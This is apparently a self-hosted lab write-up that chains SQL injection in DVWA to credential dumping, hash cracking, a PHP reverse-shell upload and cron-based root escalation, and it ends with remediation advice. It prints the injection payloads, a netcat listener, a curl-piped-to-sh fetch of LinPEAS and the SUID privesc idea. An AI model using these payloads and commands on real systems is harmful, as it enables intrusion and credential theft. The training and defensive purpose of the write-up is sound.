SQL Injection → Credential Dump → Root
DVWA (self-hosted, lab VM, 192.168.10.0/24) · web · dvwa · linux · time-to-root 1h52m
Scope
DVWA running on a lab VM on my own 192.168.10.0/24 network, security level set to low. Goal was to run the full chain end to end and document it properly: entry point to root, not just the first flag. No systems outside my own lab were touched.
Recon
Logged into DVWA and walked the module list. The SQL Injection page takes an id parameter
over GET with no sanitisation at low security. Confirmed the injection point first:
id=1' or '1'='1That returned every row instead of one, which confirmed the query wasn’t parameterised. Next step was working out the column count so a UNION would line up.
id=1' ORDER BY 2-- -Two columns, first name and surname. That’s enough to pull whatever else lives in the database.
Exploitation
Stage 1 — dump credentials. Swapped the ORDER BY probe for a UNION against the users
table:
' UNION SELECT user, password FROM users-- -Came back with five rows of username / MD5 hash pairs. DVWA doesn’t salt these at low security, so they’re crackable straight out of the box.
hashcat -m 0 -a 0 dvwa_hashes.txt rockyou.txtHashcat cleared all five in under a minute against rockyou.txt — these are default DVWA
seed accounts, so the wordlist hit was never in doubt. The point wasn’t the crack speed, it
was proving the path from “unsanitised parameter” to “plaintext credentials” is one tool
away.
Stage 2 — unrestricted file upload. With admin creds in hand, the File Upload module (low security) does no extension or content-type checking server-side. Uploaded a PHP reverse shell instead of an image:
cp php-reverse-shell.php shell.php
# edit LHOST/LPORT to match my listener, then upload via the DVWA formStarted a listener and browsed to the uploaded path to trigger it:
nc -lvnp 4444curl http://192.168.10.0/dvwa/hackable/uploads/shell.phpShell landed as www-data.
Stage 3 — privesc. Pulled LinPEAS onto the box over the reverse shell and ran it to enumerate privesc vectors rather than guessing:
curl -s http://192.168.10.0:8000/linpeas.sh | shLinPEAS flagged a cron job running as root that called a world-writable script. Overwrote
it with a one-liner that copied /bin/bash to a SUID binary, waited for the next run, and
had a root shell.
Related finding — Insecure CAPTCHA
Same engagement, same box: DVWA’s Insecure CAPTCHA module validates the CAPTCHA response client-side only at low security. Replaying the password-change request through Burp with the CAPTCHA fields stripped out changed the account password without ever solving one. Filed separately since it’s a distinct vulnerability class (missing server-side control validation), not part of the SQLi chain above.
Impact
Full chain from an unauthenticated-feeling web parameter to root on the host, plus a second independent bypass of an anti-automation control. In a real engagement this is a “game over” finding — anything else on the box, and anything the box trusted, is in scope from here.
Remediation
- Parameterised queries everywhere, no exceptions for “internal” pages.
- Hash with something slow and salted (bcrypt/argon2), not raw MD5.
- Validate uploads server-side: allowlist extensions, check magic bytes, store outside the webroot.
- Least-privilege cron: no root cron job should call a script another user can write to.
- CAPTCHA and other anti-automation checks must be validated server-side, every time.